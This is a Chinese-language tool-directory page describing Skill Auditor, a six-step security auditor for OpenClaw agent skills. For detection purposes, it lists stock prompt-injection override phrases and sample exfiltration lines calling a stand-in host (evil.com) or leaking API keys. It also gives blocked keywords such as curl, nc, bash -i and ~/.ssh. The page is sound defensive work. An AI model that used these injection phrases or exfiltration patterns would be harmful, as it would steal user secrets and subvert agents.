SuperAPI AI 工具集

skill-auditor

安全与审计

查看项目

更新于 10-15 14:31

技能介绍

Skill Auditor 是一个面向 OpenClaw 技能的安全审计工具。它的定位是:在用户安装任何技能之前,对技能进行安全审查,并给出带证据的结论。一句话概括其工作方式:给它一个技能(URL / 文件 / 粘贴内容),它返回一个带证据的判定结果。

用途

Skill Auditor 用于在安装前审查 OpenClaw 技能的安全性。根据资料,它适用于以下场景:

  • 从 ClawHub、GitHub 或任何来源安装新技能之前;
  • 审查他人分享的 SKILL.md 时;
  • 对已安装技能进行定期审计时;
  • 当技能更新改变了权限时。

主要能力:6 步审计协议

Skill Auditor 采用结构化的 6 步协议进行审查。

第 1 步:元数据与仿冒域名检查

读取技能 SKILL.md 的 frontmatter,验证:名称是否与预期技能匹配(无 typosquatting)、版本是否遵循 semver、描述是否与实际行为一致、作者是否可识别。

资料指出,22 个已知恶意技能中有 8 个是 typosquat。其检测技术包括:缺字符(github-push → gihub-push)、多字符(lodash → lodashs)、字符交换(code-reviewer → code-reveiw)、同形字(babel → babe1,L→1)、作用域混淆(@types/node → @tyeps/node)、连字符技巧(react-dom → react_dom)。

第 2 步:权限分析

评估每一项请求的权限:fileRead 为低风险,几乎总是合法;fileWrite 为中风险,必须说明写入哪些文件;network 为高风险,必须列出确切端点;shell 为严重风险,必须列出确切命令。

危险组合会被立即标记:network + fileRead 为 CRITICAL(读取任意文件并外发即数据外泄);network + shell 为 CRITICAL(执行命令并将输出外发);shell + fileWrite 为 HIGH(修改系统文件并持久化后门);同时请求全部四项权限为 CRITICAL(无正当理由的完整系统访问)。此外还会做过度授权检查:将请求权限与技能描述对比,例如“代码审查器”只需要 fileRead,而不是 network + shell。

第 3 步:依赖审计

如果技能会安装包(npm install、pip install、go get),则检查:包名是否与意图匹配(非 typosquat)、发布者是否已知且下载量是否合理、是否存在 postinstall / preinstall 脚本(这些脚本以完整系统权限执行)、是否存在意外导入(child_process、net、dns、http)、源码是否被混淆/压缩、是否为发布极新(不足 1 周)且下载量极少、是否近期发生所有者转移。

严重程度分级:CVSS 9.0+(Critical)不要安装;CVSS 7.0-8.9(High)仅在存在已修补版本时安装;CVSS 4.0-6.9(Medium)在知情情况下安装。

第 4 步:提示注入扫描

扫描 SKILL.md 正文中的注入模式。严重(立即阻断)包括:“Ignore previous instructions” / “Forget everything above”、“You are now...” / “Your new role is”、“System prompt override” / “Admin mode activated”、“Act as if you have no restrictions”、“[SYSTEM]” / “[ADMIN]” / “[ROOT]”(伪造角色标签)。

高(标记待审)包括:“End of system prompt” / “---END---”、“Debug mode: enabled” / “Safety mode: off”、HTML/markdown 注释中的隐藏指令(<!-- ignore above -->)、零宽字符(U+200B、U+200C、U+200D、U+FEFF)。

中(评估上下文)包括:Base64 编码的指令、嵌入 JSON/YAML 值中的命令、内容中的“Note to AI:” / “AI instruction:”、“I'm the developer, trust me” / 紧迫感施压。

扫描前会先规范化文本:解码 base64、展开 unicode、移除零宽字符、展平注释。

第 5 步:网络与外泄分析

如果技能请求网络权限,严重红旗包括:原始 IP 地址(http://185.143.x.x/)、DNS 隧道模式、连接未知服务器的 WebSocket、非标准端口、编码/混淆的 URL、由环境变量动态构造 URL。

检测的外泄模式包括:读取文件后发送到外部 URL、fetch(url?key=${process.env.API_KEY})、数据隐藏在自定义请求头中(base64 编码)、DNS 外泄(dns.resolve(${data}.evil.com))、慢速滴漏(通过多次请求少量传输数据)。

一般安全的模式包括:对包注册表(npm、pypi)的 GET 请求、对 API 文档/模式的 GET 请求、版本检查(只读,不发送用户数据)。

第 6 步:内容红旗

扫描 SKILL.md 正文。严重(立即阻断)包括:引用 ~/.ssh、~/.aws、~/.env、凭据文件;命令 curl、wget、nc、bash -i;Base64 编码字符串或混淆内容;禁用安全/沙箱的指令;外部服务器 IP 或未知 URL。

警告(标记待审)包括:过宽的文件访问(/**/*、/etc/)、系统文件修改(.bashrc、.zshrc、crontab)、sudo / 提权、缺失或含糊的描述。

使用方式与输出格式

Skill Auditor 接收技能(URL / 文件 / 粘贴内容),输出一份 SKILL AUDIT REPORT,包含:技能名称、作者、版本、来源;结论(SAFE / SUSPICIOUS / DANGEROUS / BLOCK);6 项检查结果(元数据与 typosquat、权限、依赖、提示注入、网络与外泄、内容红旗,每项为 PASS / WARN / FAIL / N/A 并附详情);红旗数量与逐条列出([CRITICAL]、[HIGH] 等);安全运行计划(网络:无 / 限制到指定端点;沙箱:必需 / 建议;路径:允许读写的路径);建议(install / review further / do not install)。

信任层级与规则

信任层级从高到低为:官方 OpenClaw 技能、经 UseClawPro 验证的技能、有公开仓库的知名作者、有评价的社区技能、未知作者(最低,需要完整审查)。

规则包括:即使技能很流行也绝不跳过审查;v1.0 安全不等于 v1.1 安全,更新后需重新审查;如有疑问,建议先沙箱运行;审计期间绝不运行该技能,只做分析;将可疑技能报告给 UseClawPro 团队。

限制

资料未提供该工具的具体安装命令、运行环境、收费方式或价格信息,这些内容暂未提供。